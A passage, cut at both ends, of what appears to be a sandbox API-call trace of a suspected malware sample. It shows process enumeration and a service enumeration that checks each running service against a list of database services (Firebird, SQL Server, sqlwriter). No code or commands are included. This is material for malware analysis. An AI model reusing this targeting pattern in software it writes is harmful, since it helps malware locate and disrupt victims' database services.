(lpString="RpcEptMapper") returned 12 [0296.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0296.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0296.332] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0296.332] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0296.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0296.332] lstrlenW (lpString="RpcSs") returned 5 [0296.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0296.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0296.332] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0296.332] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0296.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0296.332] lstrlenW (lpString="SamSs") returned 5 [0296.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0296.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0296.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0296.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0296.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0296.333] lstrlenW (lpString="Schedule") returned 8 [0296.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0296.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0296.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0296.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0296.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0296.333] lstrlenW (lpString="SecurityHealthService") returned 21 [0296.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0296.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0296.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0296.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0296.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0296.333] lstrlenW (lpString="SENS") returned 4 [0296.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0296.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0296.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0296.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0296.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0296.333] lstrlenW (lpString="ShellHWDetection") returned 16 [0296.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0296.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0296.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0296.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0296.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0296.334] lstrlenW (lpString="Spooler") returned 7 [0296.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0296.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0296.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0296.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0296.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0296.334] lstrlenW (lpString="SSDPSRV") returned 7 [0296.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0296.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0296.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0296.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0296.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0296.334] lstrlenW (lpString="StateRepository") returned 15 [0296.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0296.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0296.334] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0296.334] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0296.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0296.334] lstrlenW (lpString="SysMain") returned 7 [0296.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0296.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0296.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0296.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0296.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0296.334] lstrlenW (lpString="SystemEventsBroker") returned 18 [0296.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0296.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0296.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0296.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0296.335] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a0 [0296.339] Process32FirstW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.340] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0296.341] lstrlenW (lpString="System") returned 6 [0296.341] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0296.342] lstrlenW (lpString="smss.exe") returned 8 [0296.342] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0296.343] lstrlenW (lpString="csrss.exe") returned 9 [0296.343] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0296.344] lstrlenW (lpString="wininit.exe") returned 11 [0296.344] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0296.344] lstrlenW (lpString="csrss.exe") returned 9 [0296.345] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0296.346] lstrlenW (lpString="winlogon.exe") returned 12 [0296.346] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0296.346] lstrlenW (lpString="services.exe") returned 12 [0296.346] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0296.347] lstrlenW (lpString="lsass.exe") returned 9 [0296.347] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0296.348] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0296.348] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0296.349] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0296.349] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.350] lstrlenW (lpString="svchost.exe") returned 11 [0296.350] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.350] lstrlenW (lpString="svchost.exe") returned 11 [0296.350] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0296.351] lstrlenW (lpString="dwm.exe") returned 7 [0296.351] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.352] lstrlenW (lpString="svchost.exe") returned 11 [0296.352] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.352] lstrlenW (lpString="svchost.exe") returned 11 [0296.353] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.353] lstrlenW (lpString="svchost.exe") returned 11 [0296.353] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.354] lstrlenW (lpString="svchost.exe") returned 11 [0296.354] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.354] lstrlenW (lpString="svchost.exe") returned 11 [0296.354] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.355] lstrlenW (lpString="svchost.exe") returned 11 [0296.355] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.356] lstrlenW (lpString="svchost.exe") returned 11 [0296.356] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.357] lstrlenW (lpString="svchost.exe") returned 11 [0296.357] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.358] lstrlenW (lpString="svchost.exe") returned 11 [0296.358] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.358] lstrlenW (lpString="svchost.exe") returned 11 [0296.358] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0296.359] lstrlenW (lpString="spoolsv.exe") returned 11 [0296.359] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.360] lstrlenW (lpString="svchost.exe") returned 11 [0296.360] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0296.360] lstrlenW (lpString="audiodg.exe") returned 11 [0296.360] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0296.361] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0296.361] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0296.362] lstrlenW (lpString="Memory Compression") returned 18 [0296.362] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0296.362] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0296.362] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0296.363] lstrlenW (lpString="sihost.exe") returned 10 [0296.363] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.451] lstrlenW (lpString="svchost.exe") returned 11 [0296.451] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0296.452] lstrlenW (lpString="taskhostw.exe") returned 13 [0296.452] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0296.452] lstrlenW (lpString="msoia.exe") returned 9 [0296.452] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0296.453] lstrlenW (lpString="explorer.exe") returned 12 [0296.453] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0296.454] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0296.454] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0296.455] lstrlenW (lpString="SearchUI.exe") returned 12 [0296.455] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0296.455] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0296.455] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0296.456] lstrlenW (lpString="load0.exe") returned 9 [0296.456] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.457] lstrlenW (lpString="svchost.exe") returned 11 [0296.457] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0296.627] CloseHandle (hObject=0x10a0) returned 1 [0296.627] Sleep (dwMilliseconds=0x1f4) [0297.674] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd8a0 [0297.675] EnumServicesStatusExW (in: hSCManager=0x7bd8a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0297.675] GetLastError () returned 0xea [0297.675] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x3f020b8 [0297.675] EnumServicesStatusExW (in: hSCManager=0x7bd8a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f020b8, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f020b8, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0297.676] CloseServiceHandle (hSCObject=0x7bd8a0) returned 1 [0297.676] lstrlenW (lpString="Appinfo") returned 7 [0297.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0297.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0297.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0297.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0297.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0297.676] lstrlenW (lpString="AppXSvc") returned 7 [0297.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0297.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0297.676] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0297.676] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0297.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0297.676] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0297.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.676] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0297.676] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0297.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0297.676] lstrlenW (lpString="Audiosrv") returned 8 [0297.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0297.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0297.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0297.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0297.677] lstrlenW (lpString="BFE") returned 3 [0297.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0297.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0297.677] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0297.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0297.677] lstrlenW (lpString="BITS") returned 4 [0297.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0297.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0297.677] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0297.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0297.677] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0297.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0297.677] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0297.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0297.677] lstrlenW (lpString="CDPSvc") returned 6 [0297.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0297.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0297.677] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0297.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0297.677] lstrlenW (lpString="ClickToRunSvc") returned 13 [0297.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0297.677] lstrcmpiW 